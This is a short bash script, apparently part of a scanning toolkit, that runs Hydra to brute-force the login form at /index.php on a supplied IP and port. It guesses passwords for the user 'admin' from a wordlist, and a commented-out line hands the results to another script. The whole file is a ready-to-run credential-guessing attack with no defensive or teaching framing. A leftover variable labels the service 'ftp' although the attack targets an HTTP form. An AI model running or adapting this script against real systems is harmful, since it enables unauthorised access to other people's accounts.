#!/usr/bin/env bash
rm -rf hydra.restore

ip=$1
port=$2
server="ftp"

cmd="hydra -l admin -P ../dic/passlist.txt -s $port $ip http-post-form
\"/index.php\
:username=^USER^&passwd=^PASS^&Submit_login=\
:/index.php\""


eval $cmd
#cmd2="sh ../api/result.sh $ip $port $server"
#eval $cmd2
